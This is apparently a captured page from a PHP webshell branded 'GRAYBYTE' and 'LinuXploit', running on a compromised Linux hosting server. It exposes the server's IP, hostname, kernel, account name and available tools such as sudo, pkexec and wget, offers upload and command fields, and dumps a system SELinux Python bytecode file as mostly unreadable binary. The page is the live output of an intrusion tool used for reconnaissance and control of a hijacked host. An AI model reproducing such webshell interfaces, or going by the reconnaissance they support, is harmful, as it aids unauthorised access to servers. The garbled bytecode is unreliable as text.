- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.15.198.120
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/sepolicy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/sepolicy/__pycache__/interface.cpython-36.opt-1.pyc
3

El�f��@s&ddlZddlZddlZdZdZdddddd	d
ddg	Zd
Zy:ddlZiZej	d#krZded<ej
efddd�e��WnJyddlZeej
d<Wn&ek
r�ddlZeej
d<YnXYnXdd�Zd$dd�Zd%dd�Zd&dd�Zdad'dd�Zd(dd	�Zdd
�Zd)dd �Zd!d�Zd*d"d�ZdS)+�Nz_admin$z_role$�get_all_interfaces�get_interfaces_from_xml�	get_admin�get_user�get_interface_dict�get_interface_format_text�!get_interface_compile_format_text�get_xml_file�interface_compile_testzselinux-python�T�unicodez/usr/share/localezutf-8)Z	localedirZcodeset�_cCs,g}t|�}x|j�D]}|j|�qW|S)z' Get all interfaces from given xml file)r�keys�append)�pathZinterfaces_list�idict�k�r�/usr/lib/python3.6/interface.pyr4s
�cCs0ddlm}g}|s|�}nt|�}t|�}|S)Nr)�get_methods)�sepolicyrr	r)rrZall_interfaces�xml_pathrrrr=scCs�g}|r�y:t|�}t|�}x$|j�D]}|jd�r$|j|�q$WWq�tk
r�}z,tjjd|j	j
t|�f�tjd�WYdd}~Xq�Xn0x.t
j�D]"}|jd�r�|j|jd�d�q�W|S)z? Get all domains with an admin interface from installed policy.Z_adminz%s: %s
�Nr)r	rr�endswithr�IOError�sys�stderr�write�	__class__�__name__�str�exitrr�split)rZ
admin_listrrr�e�irrrrIs

cCs�g}|r�yRt|�}t|�}x<|j�D]0}|jd�r$d|dd	�tj�kr$|j|�q$WWq�tk
r�}z,tj	j
d|jjt
|�f�tjd�WYdd}~Xq�XnPxNtj�D]B}tjdt|�}t|�dkr�d|dtj�kr�|j|d�q�W|S)
z1 Get all domains with SELinux user role interfaceZ_rolez	%s_exec_tN�z%s: %s
rz(.*)%sr���)r	rrrrZ
get_all_typesrrrrrrr r!r"r�re�findall�USER_TRANSITION_INTERFACE�len)rZ
trans_listrrrr$r%�mrrrr_s$
�#/usr/share/selinux/devel/policy.xmlc

CsXddl}ddl}trtSiag}d}||7}|d7}�y|jj|�rT|jjj|�}n|jjj|�}x�|j	d�D]�}x�|j	d�D]�}xV|j
d�D]H}x"|j	d�D]}	|j|	jd��q�W||j
d	�jdgt|jd�<g}q�WxV|j
d
�D]H}x"|j	d�D]}	|j|	jd��q�W||j
d	�jd
gt|jd�<g}q�Wq~WqnWWntk
�rRYnXtS)NrzZ<?xml version="1.0" encoding="ISO-8859-1" standalone="no"?>
<policy>
<layer name="admin">
z
</layer>
</policy>
Zlayer�module�	interfaceZparam�nameZsummary�template)�osZxml.etree.ElementTree�interface_dictr�isfileZetreeZElementTree�parseZ
fromstringr)Zgetiteratorr�get�find�textr)
rr2ZxmlZ
param_listrZtree�lr,r%r$rrrrzs:cCs<t|�}d|dj||d�dj||djd��f}|S)Nz	%s(%s) %sz, r� r�
)r�joinr#)r/rr�interface_textrrrr�s0cCsLddlm}g}x6||dD]&}|j|j|�d|dj|�f}qW|S)Nr)�test_modulerz%s(%s)
z, )�	templatesr>r�dict_valuesr<)Zinterfaces_dictr/r>Z	param_tmpr%r=rrrr�s�compiletestcCs6ddlm}d}|tjd||j�7}|t||�7}|S)Nr)r>rZTEMPLATETYPE)r?r>r(�subZte_test_moduler)r/rr0r>�terrr�generate_compile_te�s
rDcCs�ddl}yddlm}Wn tk
r8ddlm}YnX|jj|�d}|jj|�jd�d}|d||�\}}|dkr�t	j
jd�t	j
jd|�t	jd	�n|SdS)
z; Returns xml format of interfaces for given .if policy filerN)�getstatusoutput�/�.zDpython /usr/share/selinux/devel/include/support/segenxml.py -w -m %sz-
 Could not proceed selected interface file.
z
%sr)
r2�commandsrE�ImportError�
subprocessr�dirname�basenamer#rrrr")Zif_filer2rEZbasedir�filename�rc�outputrrrr	�sc
Cs�dddddg}dg}yddlm}Wn tk
rDddlm}YnXddl}d	d
ddd
�}t|�}|jd�d|kp�||d|k�sjttd�|�yft	|dd�}|j
t||��|j�|d|d�\}	}
|	dkr�t
jj
|
�t
jj
td�|�Wn<tk
�r:}zt
jj
td�||f�WYdd}~XnXx@|j�D]}|jj|��rF|j|��qFWnt
jj
td�|�dS)NZuserdomZkernelZcorenet�filesZdevr1r)rEzcompiletest.ppzcompiletest.tezcompiletest.fczcompiletest.if)�pprCZfc�ifr
�zCompiling %s interfacerC�wz,make -f /usr/share/selinux/devel/Makefile %srQz
Compile test for %s failed.
z%
Compile test for %s has not run. %s
z,
Compiling of %s interface is not supported.)rHrErIrJr2rr#�printr
�openrrD�closerr�EnvironmentError�valuesr�exists�remove)
r/rZexclude_interfacesZexclude_interface_typerEr2Zpolicy_filesr�fdrNrOr$�vrrrr
�s2$*)r)r)r)r)r-)r-)rA)r-)r(rrZADMIN_TRANSITION_INTERFACEr*�__all__ZPROGNAME�gettext�kwargs�version_infoZinstall�builtinsr!�__dict__rIZ__builtin__rrrrrr3rrrrDr	r
rrrr�<module>sB
	



*


	

Youez - 2016 - github.com/yon3zu
LinuXploit